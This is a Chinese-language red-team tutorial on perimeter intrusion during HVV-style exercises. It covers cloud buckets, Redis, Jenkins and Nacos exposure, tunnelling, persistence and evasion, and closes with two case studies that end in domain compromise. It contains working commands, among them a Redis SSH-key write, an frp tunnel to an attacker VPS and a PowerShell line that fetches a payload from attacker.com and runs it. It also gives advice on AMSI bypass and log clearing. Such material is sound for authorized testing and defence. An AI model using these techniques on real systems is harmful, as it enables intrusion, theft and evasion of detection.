1. 项目概述:从“外围打点”看现代攻防演练的战术演变
在网络安全攻防演练,特别是像HVV(护网行动)这类国家级或大型企业级的实战对抗中,“外围打点”是红队行动的起点,也是决定整个攻击链能否成功建立的关键一步。所谓“外围打点”,形象点说,就是攻击方(红队)在获得授权后,对目标庞大的数字资产边界进行试探和侦察,寻找那个最薄弱、最容易被忽视的“缝隙”,从而撕开一道口子,将攻击载荷投送进去。这不像电影里黑客对着一个主系统狂敲键盘,更像是特种部队在漫长的海岸线上,寻找一个无人看守的滩头。
近年来,随着企业数字化转型和云原生架构的普及,这个“外围”的边界已经变得极其模糊和复杂。它不再仅仅是公司官网的那个IP地址,而是包含了暴露在公网的各类Web应用、API接口、云存储服务(如AWS S3桶、阿里云OSS)、第三方SaaS服务、员工使用的协作工具(如GitHub、Confluence、Jira),甚至是供应链厂商的接入点。攻击面呈指数级扩大,防守方(蓝队)的注意力被稀释,这就给了红队大量可乘之机。我参与和观察了近几年的多次演练,发现成功的“打点”往往不是依靠某个惊天动地的0day漏洞,而是精准地利用了那些被忽视的“常见”问题——配置错误、默认凭证、过时的组件、不当的权限设置。这篇文章,我就结合实战中的观察,对这些高频出现的外围打点漏洞进行梳理、分析和总结,希望能给无论是红队还是蓝队的同行们,提供一个清晰的战术地图。
2. 核心漏洞类型分析与实战利用
外围打点的漏洞,可以根据其产生原因和攻击面,大致分为几个核心类型。理解这些类型,能帮助我们在信息收集阶段就有的放矢。
2.1 配置错误与未授权访问
这是当前HVV中最“高产”的打点入口,没有之一。它源于运维人员或开发者的疏忽,将本应内部访问或严格鉴权的服务直接暴露在了公网,且未设置任何认证。
1. 云存储桶未授权访问(如AWS S3、阿里云OSS、腾讯云COS)
- 漏洞原理 :云存储服务通常提供精细的权限控制策略(Bucket Policy/ACL)。配置错误(如设置为
public-read或public-read-write)会导致任何互联网用户都能列出桶内文件清单、读取甚至上传文件。 - 实战利用 :
- 信息收集 :使用工具如
awscli(针对AWS)、ossutil(针对阿里云)或在线扫描平台,尝试匿名访问目标可能使用的存储桶。常见的桶命名规律如{company}-prod、{company}-backup、assets.{company}.com。 - 危害 :直接泄露源码、配置文件(常含数据库密码、API密钥)、客户数据、员工信息。我曾在一个演练中,通过一个名为
{target}-log的公开S3桶,直接下载到了包含内网VPN账号密码的应用程序日志,一步到位拿到了内网通行证。 - 工具与命令示例 :
# 假设发现一个疑似桶:s3://prod-bucket.target.com # 使用awscli尝试列出文件(无需认证) aws s3 ls s3://prod-bucket.target.com --no-sign-request # 如果可读,直接同步下载 aws s3 sync s3://prod-bucket.target.com ./download --no-sign-request
- 信息收集 :使用工具如
2. 服务控制台未授权访问(如Kibana、Jenkins、Docker Registry、Nacos)
- 漏洞原理 :Elasticsearch的Kibana可视化界面、Jenkins持续集成平台、私有Docker镜像仓库、Nacos配置中心等服务,在安装后默认可能没有强制认证,或使用了弱口令/默认口令。
- 实战利用 :
- 发现 :通过端口扫描(5601 for Kibana, 8080 for Jenkins, 5000 for Docker Registry, 8848 for Nacos)结合指纹识别(如HTTP响应头、特定页面)来定位。
- 危害 :
- Kibana :可能包含大量的业务日志、监控数据,甚至通过控制台执行ES查询,读取敏感索引。
- Jenkins :拥有项目构建权限,可直接在服务器上执行命令(通过“脚本命令行”或构建任务),获得服务器shell。还可以从凭证管理中提取各类密码、密钥。
- Docker Registry :拉取内部镜像,分析镜像层文件,寻找硬编码的秘钥或配置文件。
- Nacos :作为配置中心,直接获取到数据库连接串、消息队列密钥、第三方API令牌等所有核心配置信息。 这是近年来一个极其致命的打点路径 ,拿到Nacos配置几乎等于拿到了整个应用系统的“地图和钥匙”。
- 操作心得 :访问到Jenkins后,不要急于执行系统命令。先查看“系统管理”->“脚本命令行”,这是最直接的方式。也可以创建自由风格项目,在构建步骤里添加“Execute shell”或“Execute Windows batch command”。
3. 缓存/数据库未授权访问(如Redis、Memcached、MongoDB)
- 漏洞原理 :这些服务为追求性能,默认监听在所有接口(0.0.0.0)且无认证。Redis尤为典型。
- 实战利用 :
- Redis未授权 :连接后,可利用
CONFIG SET dir和CONFIG SET dbfilename命令,将SSH公钥写入目标服务器的/root/.ssh/authorized_keys文件,从而直接以root身份免密登录。redis-cli -h 目标IP > config set dir /root/.ssh > config set dbfilename authorized_keys > set x “\n\n你的SSH公钥内容\n\n” > save - SSRF组合利用 :如果目标外网应用存在SSRF漏洞,常利用其去探测或攻击内网的这类未授权服务,成为从外网穿透到内网的重要跳板。
- Redis未授权 :连接后,可利用
注意 :直接利用Redis写SSH密钥的前提是Redis以root权限运行。现在越来越多的部署会使用低权限用户,此时可以尝试写Web目录的webshell,或者利用主从复制漏洞(Redis <= 5.0.5)实现RCE。
2.2 弱口令与默认凭证爆破
这是最传统但永不失效的方法。在自动化部署和云时代,问题反而更严重了。
1. 常见服务默认口令
- 网络设备 :路由器、交换机、防火墙的管理界面。口令如 admin/admin, admin/123456, admin/空。
- 物联网设备 :摄像头、NAS、打印机。存在厂商通用的默认密码。
- 应用框架后台 :如ThinkPHP的
admin/admin,Spring Boot Actuator的空/空(如果开启且未设安全)。 - 云平台/虚拟机管理界面 :如VMware vSphere的
root/vmware,某些旧版ESXi的默认账户。
2. 针对性爆破策略
- 不要无差别爆破 :先通过信息收集,确定目标使用的技术栈、厂商、可能的管理员姓名(从GitHub提交记录、领英等渠道获取),生成针对性字典。
- 使用低速率、多线程、代理池 :避免触发账号锁定或WAF封禁。工具如
Hydra、Medusa,但需要精细配置。 - 关注“密码喷洒” :针对大量用户名,尝试1-2个最常用密码(如公司名+当前年份,
Company@2026),而非针对一个用户爆破千万密码。这在对抗有锁定策略的系统时更有效。 - 凭证复用测试 :将从一处泄露或爆破得到的密码,尝试登录该用户可能使用的其他系统(邮箱、VPN、OA、GitLab)。很多人有重复使用密码的习惯。
2.3 Web应用经典漏洞的“新瓶旧酒”
SQL注入、文件上传、反序列化这些老牌漏洞在外围打点中依然扮演重要角色,但利用场景和方式有了新变化。
1. 文件上传漏洞
- 现状 :单纯的
shell.jpg.php这种绕过已经很少见了。现在的突破点在于:- 解析漏洞 :配合特定的中间件(如IIS 6.0的
*.asp;.jpg)、Web服务器(如Apache的多后缀解析)或框架特性。 - 内容检测绕过 :上传包含恶意代码的SVG、XML、Office文件(如通过宏或公式),或利用图片EXIF信息注入PHP代码再配合文件包含漏洞执行。
- 权限问题 :上传点本身没问题,但上传后的文件所在目录有执行权限,且可以通过其他方式(如路径遍历)访问到。
- 解析漏洞 :配合特定的中间件(如IIS 6.0的
- 实战技巧 :上传后,重点检查返回的URL路径、响应头(如
Location),并使用目录扫描工具尝试发现上传目录。有时文件被重命名了,但规律可循(如时间戳+原文件名)。
2. SQL注入漏洞
- 现状 :在成熟应用中,显错注入大幅减少,但盲注和延时注入依然存在。外围打点中,SQL注入的价值在于:
- 突破边界 :在子域名、边缘业务系统(如老旧的报名系统、查询系统)中发现。
- 工具自动化 :
sqlmap依然是神器,但参数要调优:--level 3 --risk 2提高检测等级,--tamper使用混淆脚本(如space2comment)绕过简单WAF,--proxy设置代理池。 - 与其它漏洞结合 :通过SQL注入读取服务器文件(
LOAD_FILE),或写入webshell(INTO OUTFILE),但需要绝对路径和高权限。
3. 反序列化漏洞
- 重点目标 :Java应用(Apache Shiro, Fastjson, Log4j2, Weblogic)、Python(Pickle)、PHP(unserialize)。这些漏洞往往可以直接导致远程代码执行,危害极大。
- 打点思路 :通过指纹识别(如Shiro的
rememberMecookie特征、Weblogic的特定端口和页面)快速定位潜在目标,然后使用公开的EXP或工具(如ysoserial、shiro-attack)进行利用尝试。 关键在于快速验证 ,因为这类漏洞一旦公开,修补速度很快。
2.4 信息泄露与供应链攻击
这类漏洞不直接提供执行代码的能力,但泄露的信息能为后续攻击铺平道路,是“打点”中的情报支撑。
1. 源代码与配置文件泄露
- Git泄露 :
.git目录被部署到线上。使用GitHacker或githack工具可以近乎完整地恢复源码历史,其中可能包含数据库密码、API密钥、硬编码的凭证。 - 目录遍历与备份文件 :通过修改URL参数(如
?file=../../etc/passwd)或扫描发现.bak、.swp、.zip、tar.gz等备份文件,直接获取源码或配置文件。 - 环境变量与配置文件 :Spring Boot的
/actuator/env、/actuator/heapdump端点泄露敏感信息;.env、config.properties、application.yml文件被直接访问。
2. 第三方服务与供应链
- 员工GitHub :搜索公司员工公开的代码仓库,可能包含内部项目代码、服务器连接信息、测试环境密码。
- 第三方厂商入口 :如VPN供应商的管理后台、云服务商的控制台、短信/邮件服务商的配置界面。这些系统可能由第三方维护,安全水平参差不齐,且目标企业自身难以管控。
- 开源组件漏洞 :快速识别目标Web应用使用的框架和组件版本(如通过
Wappalyzer插件或whatweb命令),匹配已知的公开漏洞(如Log4j2)。虽然漏洞在组件,但利用点就在目标的外围应用上。
3. 外围打点的系统化操作流程
知道了漏洞类型,还需要一套系统化的方法来执行,提高效率。
3.1 第一阶段:立体化信息收集
信息收集的广度和深度直接决定打点的成功率。这不仅仅是跑个扫描器。
1. 资产发现
- 子域名枚举 :使用
subfinder、amass、oneforall等工具,结合证书透明度日志(CT Logs)、DNS记录查询、搜索引擎抓取,尽可能穷尽目标的域名资产。 - IP范围梳理 :通过ASN号码、Whois信息、DNS解析记录,确定目标自有的IP段。同时注意CDN背后的真实IP,可通过历史DNS记录、SSL证书匹配、子域名探测(很多子域名可能未接入CDN)等方式寻找。
- 端口与服务扫描 :对发现的IP和域名进行端口扫描。不要只用默认的1000个端口。使用
masscan进行全端口快速扫描,再用nmap进行服务版本和脚本检测。 重点关注意外的非标端口 ,如5000、6379、8080、9200等,这些往往是管理界面或未授权服务的藏身之处。# 快速全端口扫描 masscan -p1-65535 目标IP --rate=1000 -oL ports.txt # 对发现的端口进行详细探测 nmap -sV -sC -p $(cat ports.txt | awk -F' ' '{print $4}' | awk -F'/' '{print $1}' | tr '\n' ',') 目标IP -oA detailed_scan
2. 指纹识别与WAF识别
- Web指纹 :使用
whatweb、Wappalyzer、EHole等工具,识别网站使用的CMS、框架、中间件、前端库及其版本。 - WAF识别 :使用
wafw00f或手工发送恶意请求看拦截页面,识别是否部署了云WAF(如阿里云盾、腾讯云WAF)或硬件WAF(如Imperva、F5)。识别WAF有助于后续设计绕过策略。
3. 敏感信息泄露挖掘
- 搜索引擎语法 :使用Google Dork、Shodan、Fofa、ZoomEye。
-
site:target.com filetype:pdf -
site:github.com "target.com" password -
hostname:"target.com" port:"6379"(在Shodan中搜索Redis)
-
- 目录与文件扫描 :使用
dirsearch、ffuf、gobuster,配合强大的字典(如SecLists中的字典),扫描备份文件、配置文件、管理后台路径。ffuf -w /path/to/wordlist.txt -u https://target.com/FUZZ -mc 200,403 -t 50
3.2 第二阶段:漏洞验证与初步利用
收集到资产和信息后,进入验证和尝试阶段。
1. 自动化与工具辅助
- 被动扫描 :将资产列表导入
Nuclei这类基于模板的漏洞扫描器。它的模板社区非常活跃,能快速检测大量已知的未授权访问、信息泄露、RCE漏洞。nuclei -l targets.txt -t /path/to/nuclei-templates/ -o results.txt - 主动探测 :对于识别出的特定服务(如
Jenkins、Kibana),手动访问其默认端口,尝试空口令或弱口令登录。对于识别出的Spring Boot Actuator,尝试访问/actuator、/actuator/env等端点。
2. 手动验证与深入测试
- 逻辑绕过 :对于需要验证码的登录点,测试验证码是否可重复使用、是否为空、是否可绕过(在请求包中删除captcha参数)。
- 参数污染与混淆 :在可能存在漏洞的参数处,尝试多种编码、特殊字符、HTTP参数污染(HPP)等技巧,绕过基础的输入过滤。
- 小范围爆破 :针对性的后台路径或用户名进行低速率爆破。
3. 建立初步立足点
- 一旦通过任意方式(如文件上传获取webshell、Redis未授权获取ssh、弱口令登录管理后台)获得了命令执行权限,第一时间做以下几件事:
- 信息收集 :
whoami、id、hostname、ipconfig/ifconfig、netstat -antp、查看/etc/passwd或用户目录。 - 权限判断 :当前用户是普通用户、管理员还是root?是否在Docker容器内?(检查
/.dockerenv文件或/proc/1/cgroup)。 - 环境探测 :内网网段是什么?是否有安全软件(AV/EDR)?尝试执行
ps aux或tasklist查看进程。 - 获取稳定Shell :尝试用各种方法(Python/PHP/Netcat反向shell,生成SSH密钥对)获取一个交互性更好、更稳定的连接。
- 隐蔽性检查 :清理或篡改访问日志、应用日志。使用
uname -a查看内核版本,为可能的提权做准备。
- 信息收集 :
3.3 第三阶段:武器化与持续渗透准备
打点成功只是开始,如何将这个入口武器化,为后续内网渗透做准备,是关键。
1. 植入持久化后门
- Web后门 :在Web目录写入多个不同形态的webshell(如免杀的一句话、图片马、内存马),并放置在隐蔽路径。
- 系统后门 :
- Linux :写入
/etc/rc.local、crontab定时任务、~/.ssh/authorized_keys、或者修改动态链接库(LD_PRELOAD)。 - Windows :创建计划任务、服务、注册表启动项、WMI事件订阅。
- Linux :写入
- 推荐工具 :使用
Metasploit的meterpreter或Cobalt Strike的beacon,它们提供加密通信、多阶段加载、丰富的后渗透模块,比简单的webshell强大和隐蔽得多。
2. 搭建内网隧道
- 外围服务器通常位于DMZ区,需要打通通往内网的通道。
- 端口转发 :使用
reGeorg、EarthWorm、frp、ngrok等工具,将内网服务的端口代理到本地。# 以frp为例,在外网VPS运行服务端,在已控服务器运行客户端 # 服务端 frps.ini [common] bind_port = 7000 # 客户端 frpc.ini [common] server_addr = 你的VPS_IP server_port = 7000 [ssh] type = tcp local_ip = 127.0.0.1 local_port = 22 remote_port = 6000 # 连接:ssh -p 6000 user@你的VPS_IP - SOCKS代理 :建立SOCKS5代理,使本地工具能直接扫描和访问内网资源。
EarthWorm的socks5模式或Cobalt Strike的socks功能都很常用。
3. 横向移动初步准备
- 从当前机器抓取密码哈希(
mimikatzfor Windows,getshadow或读取/etc/shadowfor Linux)。 - 收集网络拓扑信息(
arp -a,netstat -rn)。 - 尝试嗅探或捕获网络流量(如果权限足够)。
- 将收集到的密码哈希加入破解字典,或尝试Pass-the-Hash攻击。
4. 高级绕过技巧与隐蔽对抗
在高级别的攻防演练中,蓝队通常部署了WAF、IDS、EDR和全流量监控。简单的攻击流量很容易被阻断和告警。因此,掌握绕过和隐蔽技术至关重要。
4.1 流量层绕过
1. 编码与混淆
- SQL注入 :对关键字进行多重URL编码、十六进制编码、Unicode编码。使用
sqlmap的--tamper脚本,如charencode、charunicodeencode。 - WebShell连接 :使用AES、Base64等加密webshell的通信内容。使用
冰蝎、哥斯拉这类动态加密流量的webshell管理工具,而非传统的中国菜刀。
2. 协议伪装与域前置
- HTTPS加密 :将所有C2(命令与控制)通信基于TLS/SSL加密,并使用合法域名申请免费证书(如Let‘s Encrypt),使流量看起来像正常的HTTPS访问。
- 域前置 :利用CDN服务(如CloudFront、Azure Front Door),将恶意流量伪装成对合法高信誉域名(如
*.azureedge.net)的请求,实际后端指向攻击者的C2服务器。这能有效隐藏真实C2 IP。
3. 慢速与低频通信
- 避免高频、规律的心跳包。将心跳间隔设置为随机时间。
- 使用DNS隧道、ICMP隧道、或者基于HTTP/2、WebSocket等常见协议的数据隧道,将数据分割成小块,混入大量正常请求中。
4.2 主机层对抗
1. 无文件落地
- 尽量使用内存执行恶意代码,避免在磁盘上写入可执行文件。利用
PowerShell、Python、.NET的反射加载机制,直接从网络或内存中加载并执行Payload。 - 示例(PowerShell) :
# 从远程加载并执行代码 IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1') # 或更隐蔽的方式,将代码Base64编码后执行 $encoded = “Base64编码的Payload” $decoded = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($encoded)) Invoke-Expression $decoded
2. 进程注入与傀儡进程
- Process Hollowing :创建一个合法的、已签名的进程(如
svchost.exe),然后将其内存替换为恶意代码。 - DLL劫持 :将恶意DLL放在应用程序搜索路径中,利用加载顺序劫持合法DLL,使合法程序加载并执行恶意代码。
- 父进程欺骗 :将恶意进程的父进程ID设置为
explorer.exe或svchost.exe等可信进程,以绕过基于父进程关系的检测。
3. 绕过AMSI与脚本日志
- AMSI绕过 :对于Windows的Antimalware Scan Interface,有多种方法可以patch或禁用其扫描功能,例如修改
amsi.dll的内存、强制错误使AMSI初始化失败等。 - 清除日志 :操作完成后,清理Windows事件日志(
Security,System,Application)和PowerShell历史记录(Get-History | Remove-History)。
4.3 工具与资源选择
- C2框架 :
Cobalt Strike是商业标杆,团队协作功能强大。Sliver是优秀的开源替代品,Go语言编写,跨平台支持好。Metasploit的meterpreter功能全面,但特征明显。 - 漏洞利用 :保持一个本地的漏洞利用库,如
ExploitDB本地副本、PayloadsAllTheThings项目。使用SearchSploit快速搜索。 - 免杀生成 :使用
Veil、Shellter或自己编写代码对shellcode进行编码、加密和混淆。定期更新免杀技术,因为AV特征库也在更新。
5. 实战案例复盘与经验总结
最后,通过两个简化版的实战案例,将上述知识点串联起来。
5.1 案例一:从公开Bucket到域控
- 信息收集 :通过子域名枚举发现
assets.target.com。使用awscli探测发现对应的 S3 桶assets.target.com可公开列出。 - 初步利用 :列出并下载桶内文件,发现一个名为
config/prod-backup.tar.gz的压缩包。解压后,内含应用程序配置文件,其中明文记录了内网Jenkins服务器的地址、端口及管理员密码(jenkins_admin:J3nk1ns@2025!)。 - 横向移动 :通过搭建的隧道访问内网Jenkins。使用获得的凭证成功登录。在Jenkins的“脚本命令行”中执行命令,发现当前机器在域内,且用户权限较高。
- 权限提升与域渗透 :从Jenkins服务器上使用
Mimikatz抓取到多个域用户的哈希。其中一个用户是域管理员组的历史成员,其密码哈希未被禁用。使用Impacket工具包的psexec.py进行 Pass-the-Hash,成功获得一台域成员服务器的权限。 - 获取域控 :在域成员服务器上,利用
BloodHound分析域内关系,发现该服务器对域控具有“GenericAll”权限(通常由错误配置导致)。最终使用DCSync攻击模拟域控,成功导出所有域用户的哈希,完全控制整个域。
关键点 :整个攻击链的起点是一个配置错误的S3桶。链条清晰:信息泄露 -> 凭证获取 -> 入口建立 -> 内网横向 -> 权限提升 -> 域控攻陷。蓝队的防守缺口在于对云资产权限的持续监控不足。
5.2 案例二:通过Nacos未授权到核心数据库
- 端口扫描 :在对目标C段进行端口扫描时,发现一个IP的8848端口开放,返回页面包含“Nacos”字样。
- 漏洞验证 :直接访问
http://ip:8848/nacos/无需登录即进入管理界面,确认存在Nacos未授权访问漏洞。 - 信息掠夺 :在Nacos的“配置管理”列表中,浏览所有
Data ID。发现了数十个应用的配置,其中包含了核心业务数据库(MySQL、Redis)、消息队列(RabbitMQ)、以及内部API网关的完整连接字符串、用户名和密码。 - 直接打击 :使用获取到的数据库密码,通过已搭建的隧道,直接连接内网的核心MySQL数据库。由于是生产库,拥有最高权限,可以直接进行数据的查询、篡改或窃取。
- 扩大战果 :同时,利用Redis密码连接内网Redis,通过
CONFIG GET命令发现其以root权限运行,并存在未授权访问问题(内网环境常忽略)。通过写SSH公钥,轻松获得该Redis服务器的root权限,为进一步横向移动打下基础。
关键点 :配置中心(如Nacos、Apollo)是微服务架构的“神经中枢”,一旦失守,后果灾难性。这个案例凸显了在云原生环境下,对中间件安全配置的忽视可能带来比Web漏洞更直接的打击。
5.3 通用经验与避坑指南
- 心态上 :红队打点需要耐心和细心。广撒网的同时,要对每一个可疑点进行深度验证。一个不起眼的子域名、一个非常规的端口,可能就是突破口。
- 操作上 : “低慢稳” 是原则。扫描速度调低,爆破频率放缓,操作动作轻稳。避免因流量异常或触发告警而提前暴露。
- 工具上 :不要依赖单一工具。将自动化扫描(Nuclei, Xray)和手动深度测试结合。自动化发现水面上的漏洞,手动挖掘水下的逻辑缺陷。
- 对抗上 :时刻假设行为被监控。命令执行前先
which curl、which wget,看看有没有审计工具。上传文件前检查mtime、ctime。尽量使用内存执行,避免文件落地。 - 记录上 :详细记录每一步的操作、命令、输出结果、遇到的错误和解决方案。这不仅是演练报告的需要,更是自己复盘提升、形成知识库的关键。
- 法律与道德 :所有操作必须在授权范围内进行。明确边界,禁止对非授权目标、无关第三方系统进行任何试探。这是红线,也是职业操守。
外围打点是一场关于信息、耐心和细节的较量。它没有固定的剧本,但遵循一套成熟的方法论。作为红队,你的价值在于用攻击者的思维,帮助防守者看清自身防御体系的盲点。而作为蓝队,了解这些常见的打点路径,正是你加固防线、部署检测规则的第一步。攻防相长,这才是安全演练的核心意义所在。


被折叠的 条评论
为什么被折叠?



